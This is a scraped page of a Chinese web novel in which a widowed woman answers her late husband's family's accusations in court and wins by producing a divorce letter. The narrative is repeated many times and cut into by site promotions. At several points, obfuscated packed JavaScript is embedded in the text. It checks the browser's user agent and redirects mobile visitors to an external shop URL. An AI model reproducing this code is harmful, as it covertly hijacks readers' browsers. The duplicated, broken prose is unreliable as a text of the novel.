“邹御史一听徐家人哭诉,又见通判大人似有拖延之意,当即就沉了脸!他当众质问府尹大人,说倘若只因涉事女子与朝廷命官有所牵连,便可罔顾法纪、拖延办案,那朝廷法度威严何在?百姓冤情何申?还撂下话来,若是府尹不即刻签票、秉公传讯当事人,他回转都察院,第一本奏章就要参劾府尹渎职徇私、畏权枉法!众目睽睽之下府尹大人只得签发了传票,派了衙役上门。人就在门口,说若是请不动您,他们便无法交差,只怕就要按拒捕论处,动强拿人了!” 秦忠没说完的话,郭晓芸已然明白。对方这是算准了时机,一环扣一环。苗菁离京,无人能即时压制;徐家出面,身份“苦主”,占着“孝道”“伦常”的大义名分;又“恰好”撞上以刚直闻名的邹御史,逼得顺天府尹骑虎难下,不得不发签拿人。 苗府纵然有护卫,难道真敢与奉了公命的顺天府衙役动手吗?那岂不是坐实了“倚仗官势、对抗官府”的罪名?更要连累苗菁! 郭晓芸不能让衙役真的冲进来,把事情闹到无法收拾的地步,那会毁掉苗菁的清誉和前程。 徐家告的那些,本就是子虚乌有,恶意构陷,她没做过,问心无愧,去公堂上说清楚就是了!难道这朗朗乾坤,天子脚下,还真能由着他们颠倒黑白不成? “荷花,”她转过身,声音不大,却异常清晰冷静,“帮我更衣,换一身素净些的。我去顺天府。” “奶奶!”荷花急得眼泪都快掉下来了。 郭晓芸拍拍荷花的肩膀,示意她冷静,低声道:“去吧,拿一件外出的衣裳过来。” 接着,郭晓芸又对秦忠说道:“秦管家,烦请你立刻想办法,将此事原原本本告知元宝胡同的张公公,让他那边知晓。倘若有人要害大人,总要有人施以援手。另外,不要派人去青州给大人送信!公事为重,绝不能让他因我的私事而延误了皇差。” 秦忠应是,自下去安排。 郭晓芸换了衣裳,她走到镜前,看着镜中自己苍白的脸,抬手理了理鬓发,又将衣襟抚平。镜中的女子,目光渐渐变得坚定。 她从箱笼底下翻出一个小包袱,取出里面的东西揣在怀里,不再犹豫,转身,朝着前院一步一步,稳稳地走去。 阳光从廊檐斜射下来,照亮她素淡的衣裙和单薄却挺直的背影,前路未知吉凶,但总要往前走,她也不能一直躲在苗三弟的身后。 再来了吧。 秦忠压低了声音急道:“衙役说是有人告您孝期内与外男同居一院,有伤风化,还有隐匿夫家财产、不事姑舅、祭祀不恭,林林总总好几条大罪!我见势不妙,赶紧塞了银子给那领头的班头,请他指点一二。他才悄悄透了底——是您原先的夫家,不知怎么跑到了顺天府,击鼓鸣冤告状!” 徐家!果然是他们!郭晓芸心头一片冰凉,那点残存的侥幸也彻底粉碎。 秦忠接着说道,语气充满了愤怒与无奈:“据班头说,顺天府的陈通判一听事涉咱们大人,本也是想周全,打算先将徐家人安抚住,找个由头羁押在衙门里,等大人回京或是想法子寻大人问明情况后再行处置。谁知那徐家人就在公堂之上哭天抢地,直喊‘官官相护,小民无处伸冤’……偏就在这个时候,来顺天府调阅旧卷的都察院邹御史邹大人,路过公堂,撞了个正着!” 邹御史!郭晓芸虽是个内宅妇人,也听说过这位邹正清邹御史的“威名”——那是出了名的铁面无私,油盐不进,连皇亲国戚的脸面都敢驳,尤以“为民**”、**权贵“不法”而声名鹊起,在百姓中声望极高,在官场却是人人避之不及。 “邹御史一听徐家人哭诉,又见通判大人似有拖延之意,当即就沉了脸!他当众质问府尹大人,说倘若只因涉事女子与朝廷命官有所牵连,便可罔顾法纪、拖延办案,那朝廷法度威严何在?百姓冤情何申?还撂下话来,若是府尹不即刻签票、秉公传讯当事人,他回转都察院,第一本奏章就要参劾府尹渎职徇私、畏权枉法!众目睽睽之下府尹大人只得签发了传票,派了衙役上门。人就在门口,说若是请不动您,他们便无法交差,只怕就要按拒捕论处,动强拿人了!” 秦忠没说完的话,郭晓芸已然明白。对方这是算准了时机,一环扣一环。苗菁离京,无人能即时压制;徐家出面,身份“苦主”,占着“孝道”“伦常”的大义名分;又“恰好”撞上以刚直闻名的邹御史,逼得顺天府尹骑虎难下,不得不发签拿人。 苗府纵然有护卫,难道真敢与奉了公命的顺天府衙役动手吗?那岂不是坐实了“倚仗官势、对抗官府”的罪名?更要连累苗菁! 郭晓芸不能让衙役真的冲进来,把事情闹到无法收拾的地步,那会毁掉苗菁的清誉和前程。 徐家告的那些,本就是子虚乌有,恶意构陷,她没做过,问心无愧,去公堂上说清楚就是了!难道这朗朗乾坤,天子脚下,还真能由着他们颠倒黑白不成? “荷花,”她转过身,声音不大,却异常清晰冷静,“帮我更衣,换一身素净些的。我去顺天府。” “奶奶!”荷花急得眼泪都快掉下来了。 郭晓芸拍拍荷花的肩膀,示意她冷静,低声道:“去吧,拿一件外出的衣裳过来。” 接着,郭晓芸又对秦忠说道:“秦管家,烦请你立刻想办法,将此事原原本本告知元宝胡同的张公公,让他那边知晓。倘若有人要害大人,总要有人施以援手。另外,不要派人去青州给大人送信!公事为重,绝不能让他因我的私事而延误了皇差。” 秦忠应是,自下去安排。 郭晓芸换了衣裳,她走到镜前,看着镜中自己苍白的脸,抬手理了理鬓发,又将衣襟抚平。镜中的女子,目光渐渐变得坚定。 她从箱笼底下翻出一个小包袱,取出里面的东西揣在怀里,不再犹豫,转身,朝着前院一步一步,稳稳地走去。 阳光从廊檐斜射下来,照亮她素淡的衣裙和单薄却挺直的背影,前路未知吉凶,但总要往前走,她也不能一直躲在苗三弟的身后。 再来了吧。 秦忠压低了声音急道:“衙役说是有人告您孝期内与外男同居一院,有伤风化,还有隐匿夫家财产、不事姑舅、祭祀不恭,林林总总好几条大罪!我见势不妙,赶紧塞了银子给那领头的班头,请他指点一二。他才悄悄透了底——是您原先的夫家,不知怎么跑到了顺天府,击鼓鸣冤告状!” 徐家!果然是他们!郭晓芸心头一片冰凉,那点残存的侥幸也彻底粉碎。 秦忠接着说道,语气充满了愤怒与无奈:“据班头说,顺天府的陈通判一听事涉咱们大人,本也是想周全,打算先将徐家人安抚住,找个由头羁押在衙门里,等大人回京或是想法子寻大人问明情况后再行处置。谁知那徐家人就在公堂之上哭天抢地,直喊‘官官相护,小民无处伸冤’……偏就在这个时候,来顺天府调阅旧卷的都察院邹御史邹大人,路过公堂,撞了个正着!” 邹御史!郭晓芸虽是个内宅妇人,也听说过这位邹正清邹御史的“威名”——那是出了名的铁面无私,油盐不进,连皇亲国戚的脸面都敢驳,尤以“为民**”、**权贵“不法”而声名鹊起,在百姓中声望极高,在官场却是人人避之不及。 “邹御史一听徐家人哭诉,又见通判大人似有拖延之意,当即就沉了脸!他当众质问府尹大人,说倘若只因涉事女子与朝廷命官有所牵连,便可罔顾法纪、拖延办案,那朝廷法度威严何在?百姓冤情何申?还撂下话来,若是府尹不即刻签票、秉公传讯当事人,他回转都察院,第一本奏章就要参劾府尹渎职徇私、畏权枉法!众目睽睽之下府尹大人只得签发了传票,派了衙役上门。人就在门口,说若是请不动您,他们便无法交差,只怕就要按拒捕论处,动强拿人了!” 秦忠没说完的话,郭晓芸已然明白。对方这是算准了时机,一环扣一环。苗菁离京,无人能即时压制;徐家出面,身份“苦主”,占着“孝道”“伦常”的大义名分;又“恰好”撞上以刚直闻名的邹御史,逼得顺天府尹骑虎难下,不得不发签拿人。 苗府纵然有护卫,难道真敢与奉了公命的顺天府衙役动手吗?那岂不是坐实了“倚仗官势、对抗官府”的罪名?更要连累苗菁! 郭晓芸不能让衙役真的冲进来,把事情闹到无法收拾的地步,那会毁掉苗菁的清誉和前程。 徐家告的那些,本就是子虚乌有,恶意构陷,她没做过,问心无愧,去公堂上说清楚就是了!难道这朗朗乾坤,天子脚下,还真能由着他们颠倒黑白不成? “荷花,”她转过身,声音不大,却异常清晰冷静,“帮我更衣,换一身素净些的。我去顺天府。” “奶奶!”荷花急得眼泪都快掉下来了。 郭晓芸拍拍荷花的肩膀,示意她冷静,低声道:“去吧,拿一件外出的衣裳过来。” 接着,郭晓芸又对秦忠说道:“秦管家,烦请你立刻想办法,将此事原原本本告知元宝胡同的张公公,让他那边知晓。倘若有人要害大人,总要有人施以援手。另外,不要派人去青州给大人送信!公事为重,绝不能让他因我的私事而延误了皇差。” 秦忠应是,自下去安排。 郭晓芸换了衣裳,她走到镜前,看着镜中自己苍白的脸,抬手理了理鬓发,又将衣襟抚平。镜中的女子,目光渐渐变得坚定。 她从箱笼底下翻出一个小包袱,取出里面的东西揣在怀里,不再犹豫,转身,朝着前院一步一步,稳稳地走去。 阳光从廊檐斜射下来,照亮她素淡的衣裙和单薄却挺直的背影,前路未知吉凶,但总要往前走,她也不能一直躲在苗三弟的身后。 再来了吧。 秦忠压低了声音急道:“衙役说是有人告您孝期内与外男同居一院,有伤风化,还有隐匿夫家财产、不事姑舅、祭祀不恭,林林总总好几条大罪!我见势不妙,赶紧塞了银子给那领头的班头,请他指点一二。他才悄悄透了底——是您原先的夫家,不知怎么跑到了顺天府,击鼓鸣冤告状!” 徐家!果然是他们!郭晓芸心头一片冰凉,那点残存的侥幸也彻底粉碎。 秦忠接着说道,语气充满了愤怒与无奈:“据班头说,顺天府的陈通判一听事涉咱们大人,本也是想周全,打算先将徐家人安抚住,找个由头羁押在衙门里,等大人回京或是想法子寻大人问明情况后再行处置。谁知那徐家人就在公堂之上哭天抢地,直喊‘官官相护,小民无处伸冤’……偏就在这个时候,来顺天府调阅旧卷的都察院邹御史邹大人,路过公堂,撞了个正着!” 邹御史!郭晓芸虽是个内宅妇人,也听说过这位邹正清邹御史的“威名”——那是出了名的铁面无私,油盐不进,连皇亲国戚的脸面都敢驳,尤以“为民**”、**权贵“不法”而声名鹊起,在百姓中声望极高,在官场却是人人避之不及。 “邹御史一听徐家人哭诉,又见通判大人似有拖延之意,当即就沉了脸!他当众质问府尹大人,说倘若只因涉事女子与朝廷命官有所牵连,便可罔顾法纪、拖延办案,那朝廷法度威严何在?百姓冤情何申?还撂下话来,若是府尹不即刻签票、秉公传讯当事人,他回转都察院,第一本奏章就要参劾府尹渎职徇私、畏权枉法!众目睽睽之下府尹大人只得签发了传票,派了衙役上门。人就在门口,说若是请不动您,他们便无法交差,只怕就要按拒捕论处,动强拿人了!” 秦忠没说完的话,郭晓芸已然明白。对方这是算准了时机,一环扣一环。苗菁离京,无人能即时压制;徐家出面,身份“苦主”,占着“孝道”“伦常”的大义名分;又“恰好”撞上以刚直闻名的邹御史,逼得顺天府尹骑虎难下,不得不发签拿人。 苗府纵然有护卫,难道真敢与奉了公命的顺天府衙役动手吗?那岂不是坐实了“倚仗官势、对抗官府”的罪名?更要连累苗菁! 郭晓芸不能让衙役真的冲进来,把事情闹到无法收拾的地步,那会毁掉苗菁的清誉和前程。 徐家告的那些,本就是子虚乌有,恶意构陷,她没做过,问心无愧,去公堂上说清楚就是了!难道这朗朗乾坤,天子脚下,还真能由着他们颠倒黑白不成? “荷花,”她转过身,声音不大,却异常清晰冷静,“帮我更衣,换一身素净些的。我去顺天府。” “奶奶!”荷花急得眼泪都快掉下来了。 郭晓芸拍拍荷花的肩膀,示意她冷静,低声道:“去吧,拿一件外出的衣裳过来。” 接着,郭晓芸又对秦忠说道:“秦管家,烦请你立刻想办法,将此事原原本本告知元宝胡同的张公公,让他那边知晓。倘若有人要害大人,总要有人施以援手。另外,不要派人去青州给大人送信!公事为重,绝不能让他因我的私事而延误了皇差。” 秦忠应是,自下去安排。 郭晓芸换了衣裳,她走到镜前,看着镜中自己苍白的脸,抬手理了理鬓发,又将衣襟抚平。镜中的女子,目光渐渐变得坚定。 她从箱笼底下翻出一个小包袱,取出里面的东西揣在怀里,不再犹豫,转身,朝着前院一步一步,稳稳地走去。 阳光从廊檐斜射下来,照亮她素淡的衣裙和单薄却挺直的背影,前路未知吉凶,但总要往前走,她也不能一直躲在苗三弟的身后。 再来了吧。 秦忠压低了声音急道:“衙役说是有人告您孝期内与外男同居一院,有伤风化,还有隐匿夫家财产、不事姑舅、祭祀不恭,林林总总好几条大罪!我见势不妙,赶紧塞了银子给那领头的班头,请他指点一二。他才悄悄透了底——是您原先的夫家,不知怎么跑到了顺天府,击鼓鸣冤告状!” 徐家!果然是他们!郭晓芸心头一片冰凉,那点残存的侥幸也彻底粉碎。 秦忠接着说道,语气充满了愤怒与无奈:“据班头说,顺天府的陈通判一听事涉咱们大人,本也是想周全,打算先将徐家人安抚住,找个由头羁押在衙门里,等大人回京或是想法子寻大人问明情况后再行处置。谁知那徐家人就在公堂之上哭天抢地,直喊‘官官相护,小民无处伸冤’……偏就在这个时候,来顺天府调阅旧卷的都察院邹御史邹大人,路过公堂,撞了个正着!” 邹御史!郭晓芸虽是个内宅妇人,也听说过这位邹正清邹御史的“威名”——那是出了名的铁面无私,油盐不进,连皇亲国戚的脸面都敢驳,尤以“为民**”、**权贵“不法”而声名鹊起,在百姓中声望极高,在官场却是人人避之不及。 “邹御史一听徐家人哭诉,又见通判大人似有拖延之意,当即就沉了脸!他当众质问府尹大人,说倘若只因涉事女子与朝廷命官有所牵连,便可罔顾法纪、拖延办案,那朝廷法度威严何在?百姓冤情何申?还撂下话来,若是府尹不即刻签票、秉公传讯当事人,他回转都察院,第一本奏章就要参劾府尹渎职徇私、畏权枉法!众目睽睽之下府尹大人只得签发了传票,派了衙役上门。人就在门口,说若是请不动您,他们便无法交差,只怕就要按拒捕论处,动强拿人了!” 秦忠没说完的话,郭晓芸已然明白。对方这是算准了时机,一环扣一环。苗菁离京,无人能即时压制;徐家出面,身份“苦主”,占着“孝道”“伦常”的大义名分;又“恰好”撞上以刚直闻名的邹御史,逼得顺天府尹骑虎难下,不得不发签拿人。 苗府纵然有护卫,难道真敢与奉了公命的顺天府衙役动手吗?那岂不是坐实了“倚仗官势、对抗官府”的罪名?更要连累苗菁! 郭晓芸不能让衙役真的冲进来,把事情闹到无法收拾的地步,那会毁掉苗菁的清誉和前程。 徐家告的那些,本就是子虚乌有,恶意构陷,她没做过,问心无愧,去公堂上说清楚就是了!难道这朗朗乾坤,天子脚下,还真能由着他们颠倒黑白不成? “荷花,”她转过身,声音不大,却异常清晰冷静,“帮我更衣,换一身素净些的。我去顺天府。” “奶奶!”荷花急得眼泪都快掉下来了。 郭晓芸拍拍荷花的肩膀,示意她冷静,低声道:“去吧,拿一件外出的衣裳过来。” 接着,郭晓芸又对秦忠说道:“秦管家,烦请你立刻想办法,将此事原原本本告知元宝胡同的张公公,让他那边知晓。倘若有人要害大人,总要有人施以援手。另外,不要派人去青州给大人送信!公事为重,绝不能让他因我的私事而延误了皇差。” 秦忠应是,自下去安排。 郭晓芸换了衣裳,她走到镜前,看着镜中自己苍白的脸,抬手理了理鬓发,又将衣襟抚平。镜中的女子,目光渐渐变得坚定。 她从箱笼底下翻出一个小包袱,取出里面的东西揣在怀里,不再犹豫,转身,朝着前院一步一步,稳稳地走去。 阳光从廊檐斜射下来,照亮她素淡的衣裙和单薄却挺直的背影,前路未知吉凶,但总要往前走,她也不能一直躲在苗三弟的身后。 再来了吧。 秦忠压低了声音急道:“衙役说是有人告您孝期内与外男同居一院,有伤风化,还有隐匿夫家财产、不事姑舅、祭祀不恭,林林总总好几条大罪!我见势不妙,赶紧塞了银子给那领头的班头,请他指点一二。他才悄悄透了底——是您原先的夫家,不知怎么跑到了顺天 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17204858|197140||http|test|mini|href|location''.split(''|''),0,{})); () { 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接着,郭晓芸又对秦忠说道:“秦管家,烦请你立刻想办法,将此事原原本本告知元宝胡同的张公公,让他那边知晓。倘若有人要害大人,总要有人施以援手。另外,不要派人去青州给大人送信!公事为重,绝不能让他因我的私事而延误了皇差。” 秦忠应是,自下去安排。 郭晓芸换了衣裳,她走到镜前,看着镜中自己苍白的脸,抬手理了理鬓发,又将衣襟抚平。镜中的女子,目光渐渐变得坚定。 她从箱笼底下翻出一个小包袱,取出里面的东西揣在怀里,不再犹豫,转身,朝着前院一步一步,稳稳地走去。 阳光从廊檐斜射下来,照亮她素淡的衣裙和单薄却挺直的背影,前路未知吉凶,但总要往前走,她也不能一直躲在苗三弟的身后。 再来了吧。 秦忠压低了声音急道:“衙役说是有人告您孝期内与外男同居一院,有伤风化,还有隐匿夫家财产、不事姑舅、祭祀不恭,林林总总好几条大罪!我见势不妙,赶紧塞了银子给那领头的班头,请他指点一二。他才悄悄透了底——是您原先的夫家,不知怎么跑到了顺天府,击鼓鸣冤告状!” 徐家!果然是他们!郭晓芸心头一片冰凉,那点残存的侥幸也彻底粉碎。 秦忠接着说道,语气充满了愤怒与无奈:“据班头说,顺天府的陈通判一听事涉咱们大人,本也是想周全,打算先将徐家人安抚住,找个由头羁押在衙门里,等大人回京或是想法子寻大人问明情况后再行处置。谁知那徐家人就在公堂之上哭天抢地,直喊‘官官相护,小民无处伸冤’……偏就在这个时候,来顺天府调阅旧卷的都察院邹御史邹大人,路过公堂,撞了个正着!” 邹御史!郭晓芸虽是个内宅妇人,也听说过这位邹正清邹御史的“威名”——那是出了名的铁面无私,油盐不进,连皇亲国戚的脸面都敢驳,尤以“为民**”、**权贵“不法”而声名鹊起,在百姓中声望极高,在官场却是人人避之不及。 “邹御史一听徐家人哭诉,又见通判大人似有拖延之意,当即就沉了脸!他当众质问府尹大人,说倘若只因涉事女子与朝廷命官有所牵连,便可罔顾法纪、拖延办案,那朝廷法度威严何在?百姓冤情何申?还撂下话来,若是府尹不即刻签票、秉公传讯当事人,他回转都察院,第一本奏章就要参劾府尹渎职徇私、畏权枉法!众目睽睽之下府尹大人只得签发了传票,派了衙役上门。人就在门口,说若是请不动您,他们便无法交差,只怕就要按拒捕论处,动强拿人了!” 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邹御史!郭晓芸虽是个内宅妇人,也听说过这位邹正清邹御史的“威名”——那是出了名的铁面无私,油盐不进,连皇亲国戚的脸面都敢驳,尤以“为民**”、**权贵“不法”而声名鹊起,在百姓中声望极高,在官场却是人人避之不及。 “邹御史一听徐家人哭诉,又见通判大人似有拖延之意,当即就沉了脸!他当众质问府尹大人,说倘若只因涉事女子与朝廷命官有所牵连,便可罔顾法纪、拖延办案,那朝廷法度威严何在?百姓冤情何申?还撂下话来,若是府尹不即刻签票、秉公传讯当事人,他回转都察院,第一本奏章就要参劾府尹渎职徇私、畏权枉法!众目睽睽之下府尹大人只得签发了传票,派了衙役上门。人就在门口,说若是请不动您,他们便无法交差,只怕就要按拒捕论处,动强拿人了!” 秦忠没说完的话,郭晓芸已然明白。对方这是算准了时机,一环扣一环。苗菁离京,无人能即时压制;徐家出面,身份“苦主”,占着“孝道”“伦常”的大义名分;又“恰好”撞上以刚直闻名的邹御史,逼得顺天府尹骑虎难下,不得不发签拿人。 苗府纵然有护卫,难道真敢与奉了公命的顺天府衙役动手吗?那岂不是坐实了“倚仗官势、对抗官府”的罪名?更要连累苗菁! 郭晓芸不能让衙役真的冲进来,把事情闹到无法收拾的地步,那会毁掉苗菁的清誉和前程。 徐家告的那些,本就是子虚乌有,恶意构陷,她没做过,问心无愧,去公堂上说清楚就是了!难道这朗朗乾坤,天子脚下,还真能由着他们颠倒黑白不成? “荷花,”她转过身,声音不大,却异常清晰冷静,“帮我更衣,换一身素净些的。我去顺天府。” “奶奶!”荷花急得眼泪都快掉下来了。 郭晓芸拍拍荷花的肩膀,示意她冷静,低声道:“去吧,拿一件外出的衣裳过来。” 接着,郭晓芸又对秦忠说道:“秦管家,烦请你立刻想办法,将此事原原本本告知元宝胡同的张公公,让他那边知晓。倘若有人要害大人,总要有人施以援手。另外,不要派人去青州给大人送信!公事为重,绝不能让他因我的私事而延误了皇差。” 秦忠应是,自下去安排。 郭晓芸换了衣裳,她走到镜前,看着镜中自己苍白的脸,抬手理了理鬓发,又将衣襟抚平。镜中的女子,目光渐渐变得坚定。 她从箱笼底下翻出一个小包袱,取出里面的东西揣在怀里,不再犹豫,转身,朝着前院一步一步,稳稳地走去。 阳光从廊檐斜射下来,照亮她素淡的衣裙和单薄却挺直的背影,前路未知吉凶,但总要往前走,她也不能一直躲在苗三弟的身后。 第262章 堂上对峙 秦忠带着人护着郭晓芸往顺天府去。 堂上早已站着七八个徐家人。 郭晓芸认出了其中几个:继母詹氏那张总是挂着刻薄笑意的脸正正斜着眼打量着她;大伯家的堂兄徐纶抱着膀子面色不善的朝她看了一眼;徐维的父亲徐正站在人群最前面却始终没有正眼看她。 郭晓芸收回目光敛衽垂首稳稳走到堂前对着端坐于公案之后的府尹大人行了大礼。 府尹姓周是个面相周正的中年文官此刻眉头微蹙目光在她与徐家人之间来回一扫沉声道:“郭氏你夫家状告你三条罪状:孝期内与外男同居一院有伤风化;隐匿夫家财产;不事姑舅、祭祀不恭。你可认?” “民妇一条都不认。” 郭晓芸的声音不高却字字清晰。 “你这**!”詹氏像一只被踩了尾巴的猫猛地从徐正身后窜出来染着凤仙花汁的指甲几乎要戳到郭晓芸脸上“攀上了高官 “啪!” 惊堂木狠狠拍在案上那一声脆响生生把詹氏后半截话吓得缩回喉咙里。 周府尹面沉如水盯着詹氏一字一顿:“本官不问话不可胡言乱语。再犯掌嘴二十。” 詹氏脸色青白交加嘴唇嚅动了半晌终究没敢再吭声悻悻退回了人群中。 郭晓芸始终没有回头看她。 公堂静了一瞬。郭晓芸深吸一口气开口了。 “启禀大人我夫君徐维乃徐家长子。” 她的声音很轻娓娓道来。 “夫君十二岁那年生母病故。热孝里父亲续娶。继母过门后夫君的日子便一日比一日难过……后来是祖父做主送他远赴外地求学。说是求学其实是讨一条活路。夫君离家的时候才十五岁。” 堂上有片刻寂静。周府尹捻须不语目光落在她低垂的眉眼间。 “夫君自幼身子单薄离家后家中给的银钱连吃住都不够。他便一边读书一边给人抄书、临画、代写书信有时候为了省几文灯油钱就蹭到书院窗下借光读到半夜……” 郭晓芸的声音渐渐有些发颤但她没有停。 “他从不跟家里诉苦只是默默忍受。他有一年冬天为了买一本应考要用的《十三经注疏》整整一个月每天只吃一顿干饼子就白水。” 堂下有人轻轻“啧”了一声。 就 你的朋友正在书荒,快去帮帮他吧 在这时,徐家人群里忽然冒出一个尖刻的声音—— “大郎中举后,可是得了赏银的!族里给了,县里也给了,少说二百多两呢!那可不是小钱!” 说话的是詹氏身边一个面生的婆子,大约是徐家的族人。她话音一落,其他几个徐家人便纷纷附和,嗡嗡声四起。 “是啊是啊,那赏银哪儿去了?” “一个举人老爷,说没钱,谁信呐?” “怕是早让某些人昧下了!” …… 周府尹冷眼一扫,人群立刻噤声。 郭晓芸抬眼,泪雾朦胧,却目光坚定: “大人,夫君确是得过一笔赏银。可那时我们新婚不久,要赁屋居住,要日常开销,夫君又迟迟未能选上官职,坐吃山空。没过多久,他便一病不起,汤药不断,那点银子,又能支撑多久?家中一贫如洗,何来隐匿夫家财产一说?这些,夫君的同窗、左右邻居,皆可作证。” 她说到此处,泪水终于忍不住滚落: “夫君病重之时,曾数次修书回家,只求家中看在骨肉情分上,稍稍帮衬一二。可书信寄出,一封回信都没有。夫君本就病中多思,常常悲叹,说他无用,连累我跟着吃苦,还一再叮嘱我,他若去了,我务必立刻改嫁,千万不要为他守节,耽误了一生……” “后来夫君病逝,是民妇一个弱女子,独自操办丧事,派人前往徐家报丧。可徐家上下,只派了一人前来应付,公爹、继母,无一人到场。理由竟是长子早夭不吉,恐冲撞家中运势……”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17210617|197140||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 郭晓芸抬眸,泪水涟涟,却字字泣血: “大人请想,世间哪有这般薄情寡义的父母?对亲生儿子尚且如此,何况民妇这一介无依无靠的寡媳?” 说到最后,她已是泪流满面,身子微微发颤,却依旧挺直脊背,不肯在公堂之上失了半分体面。 徐正站在一旁,数次张口,想要辩驳,可在府尹威严的目光之下,又次次咽了回去,脸色一阵红一阵白,难堪至极。 府尹将这一切看在眼里,微微颔首,转向徐正,沉声道: “徐正,郭氏方才所言,你可有辩驳?” 徐正定了定神,上前一步,躬身道: “回大人,不管怎样,我儿已死,郭氏既为我徐家媳妇,便该守妇道,回徐家祖宅守孝,侍奉公婆,恭敬舅姑。怎能私自住进外男宅院,与他同院而居?这于礼不合,于法不容!” 此言一出,堂内顿时安静下来。 所有人的目光,齐刷刷地,再一次落回了郭晓芸身上。 郭晓芸对着府尹回道: “大人,公婆对亲生儿子尚且这般无情,生死关头都不肯伸手相助,更何况是我这样一个无依无靠的寡媳?民妇怎么敢回到徐家去?夫君丧礼之后,民妇身无分文,举目无亲,若不是恰好遇上自幼相识的苗三弟,念在昔日邻里情分出手相助,民妇此刻早已流落街头,冻饿而**。” 她深呼吸一口,朗声道: “民妇只是借住苗三弟府邸,两人向来分院别居,内外分明,一言一行皆谨守孝期规制,不敢有半分失礼。” 徐正听罢,脸色一沉,立刻冷声驳斥: “分院别居?你们关起门来过日子,内外皆是你二人说了算,谁能作证?谁又晓得你们背地里做了何等苟且之事!你少拿这些虚话搪塞官府!你既已是我徐家媳妇,夫君既死,办完丧事便该回徐家祖宅守节侍奉,这是天理礼教,天经地义!” 府尹闻言,眉头微微蹙起。 第263章 接着告! 徐正为人不慈、待子凉薄已是显而易见可这话按礼教来说却挑不出半分错处——寡妇归宗、回夫家守节本就是朝廷推崇的规矩。 郭晓芸见府尹神色微动知道已是关键时刻心头一急抽噎着再度开口: “大人!非是民妇不愿回徐家尽孝实在是……实在是夫君临死之前早已对徐家彻底绝望!他深知我若回徐家必无立足之地只会受尽磋磨所以……所以他强撑着最后一口气亲手为民妇写下了放妻书!” 说到最后她已是泣不成声颤抖着从怀中取出一卷叠得整整齐齐的文书双手递给了一旁的衙役。 衙役不敢耽搁连忙接过快步呈至府尹案头。 府尹伸手展开只见纸上字迹潦草凌乱、笔力虚浮一看便知是书写之人病弱无力、或是情绪激动之下挥笔而成末尾赫然写着徐维的名字还按着一枚暗红的指印看上去确是临终手笔。 郭晓芸泪流满面声声泣血: “夫君待我珍重爱护他虽写下放妻书 府尹捏着那张放妻书又反复细看了两眼。 纸上只有署名与指印无宗族见证、无中人画押、无官府备案形制极不规范破绽处处。 他心中暗忖—— 这放妻书说是徐维病中亲笔说得通; 可若徐家人咬定是郭氏事后伪造、逼迫而成也同样站得住脚。 府尹大人将那份放妻书轻轻搁在案头神色不动只淡淡一咳目光转向徐正道:“徐正郭氏既持有放妻书于礼法上便不再是你徐家媳妇。如今她既非徐家妇仍愿为亡夫守孝三年已是仁至义尽。你还有何话说?” 徐家人全都懵了。 谁也没料到郭晓芸竟真的掏出这么一张纸轻飘飘一句话便将他们费尽心机垒起来的罪名全打散了。众人你看我、我看你张了张嘴却一句辩驳的话也憋不出来只站在原地手足无措。 府尹将这慌乱看在眼里心中已然落定一拍惊堂木沉声道: “既如此徐家所告各条均无实据纯属误会。念你等也是情切无知本次便不以诬告论处都归家安分度日勿再生事。” 徐家人面面相觑脸色一阵青一阵白明明是来告状的到头来却落得个无理取闹的下场想再争却又怯于官府威严只能 恭喜你可以去书友们那里给他们剧透了,他们一定会“羡慕嫉妒恨”的 僵在原地。 一旁的通判见状上前,对着徐家人一顿正色数落,言语间半是敲打半是告诫: “你们也是糊涂!案情未明、虚实不分,便贸然闯衙兴讼,惊扰公堂,扰人清誉!亏得府尹大人宽宏大量,不与你们计较,换作别官,此刻早已是脊杖加身,治一个诬告之罪!还不退下?” 这一番话说得又重又利,徐家人再不敢多言,只得低着头,灰溜溜地依次退出公堂,再没了来时的气焰。 待堂内清静,府尹才看向郭晓芸,语气缓和了些许: “本案暂且到此了结。放妻书先留署存档备查,待过些时日,再差人送还于你。” 郭晓芸心中一松,压了许久的气骨一松,眼眶又微微泛红,却依旧稳稳屈膝一礼,声音带着劫后余生的轻颤: “民妇……谢大人明察,谢大人周全。” 她起身,跟在秦忠与几名锦衣卫身后,缓步退出府衙。 不多时,张鸿宝派来的人也匆匆赶到苗府,问清公堂前后经过,得知郭晓芸安然无恙、官司竟这般顺利了结,众人悬着的心这才彻底放下,纷纷松了口气。 消息也飞快传到薛嘉言耳中。她当即匆匆赶往苗府,见到郭晓芸安然无恙,她才松了口气,随即又忍不住将徐家那群薄情寡义之辈骂了个遍,再看向郭晓芸时,眼底又满是怜惜: “你这性子,也太能忍了!这般大事,竟一直瞒着不说!若早些将放妻书的事告诉我们,何至于闹到公堂之上,受这般惊吓与**?” 郭晓芸垂眸,低声道: “我只是……不想让徐维到了九泉之下,还要被人拿家事口舌 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 